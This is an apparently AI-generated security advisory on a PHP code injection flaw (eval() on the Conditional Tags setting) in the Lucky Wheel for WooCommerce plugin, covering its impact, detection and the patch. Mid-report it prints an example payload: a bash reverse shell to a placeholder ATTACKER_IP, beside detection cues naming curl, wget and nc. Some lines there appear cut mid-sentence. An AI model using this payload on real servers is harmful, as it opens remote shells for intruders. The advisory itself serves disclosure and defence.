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CVE-2025-14509 is a PHP Code Injection vulnerability in the Lucky Wheel for WooCommerce – Spin a Sale plugin for WordPress, developed by VillaTheme. The flaw affects all versions up to and including 1.1.13 and was disclosed on December 30, 2025, with the CVE assigned by Wordfence. It carries a CVSS v3.1 base score of 7.2 (High), reflecting network-accessible exploitation requiring administrator-level authentication (Wordfence, Red Hat CVE).
The root cause is improper control of code generation (CWE-94): the plugin passes user-supplied input from the 'Conditional Tags' setting directly into PHP's eval() function without any validation or sanitization, located in frontend/frontend.php at line 127 (WordPress Trac). An authenticated attacker with Administrator-level access can craft a malicious value in the Conditional Tags field that, when evaluated by eval(), executes arbitrary PHP code server-side. The vulnerability is particularly impactful in WordPress multisite environments, where Site Administrators (who are normally restricted from editing plugin/theme files) can exploit this to gain code execution capabilities that exceed their intended privilege boundary (Wordfence).
Successful exploitation grants an attacker full arbitrary PHP code execution on the web server, resulting in high confidentiality, integrity, and availability impact. An attacker can read sensitive server files and database credentials, modify or delete site content, install backdoors or web shells, and potentially pivot to other systems accessible from the server. In WordPress multisite deployments, the impact is elevated because Site Administrators — who should be restricted — can achieve capabilities equivalent to Super Admins, undermining the multisite privilege model (Wordfence, Red Hat CVE).
Exploitation requires authenticated access at the Administrator level or above, which limits opportunistic exploitation but remains a realistic threat in scenarios involving compromised admin credentials, insider threats, or privilege escalation chains. No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.067%, indicating a currently low probability of widespread exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. A patch (version 1.1.14) was made available via the WordPress plugin repository changeset 3428063 (WordPress Trac, Wordfence).
system('id'); or a reverse shell payload such as exec('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');.eval() function when the frontend is loaded, executing the injected code on the server.eval() execution traces or unexpected function calls originating from frontend/frontend.php./bin/bash, curl, wget, python, or nc; unexpected cron jobs added under the web server user account.The vendor (VillaTheme) released a patched version of the plugin. Users should update the Lucky Wheel for WooCommerce – Spin a Sale plugin to version 1.1.14 or later immediately via the WordPress admin dashboard or by applying changeset 3428063 from the WordPress plugin repository (WordPress Trac). As a temporary workaround prior to patching, administrators should restrict access to the plugin's settings page and audit which accounts hold Administrator-level privileges, particularly in multisite environments. In multisite deployments, Super Admins should review and limit Site Administrator permissions until the patch is applied (Wordfence).
Wordfence, which assigned the CVE, published the vulnerability in its threat intelligence feed and included it in its weekly WordPress vulnerability report covering December 15, 2025 to January 4, 2026 (Wordfence Weekly Report). RedPacket Security flagged the CVE in automated alerts and the CISA vulnerability summary bulletin for the week of December 29, 2025 (CISA Bulletin). Community reaction has been limited, consistent with the relatively high privilege requirement reducing the perceived urgency for most site operators.
Source: This report was generated using AI
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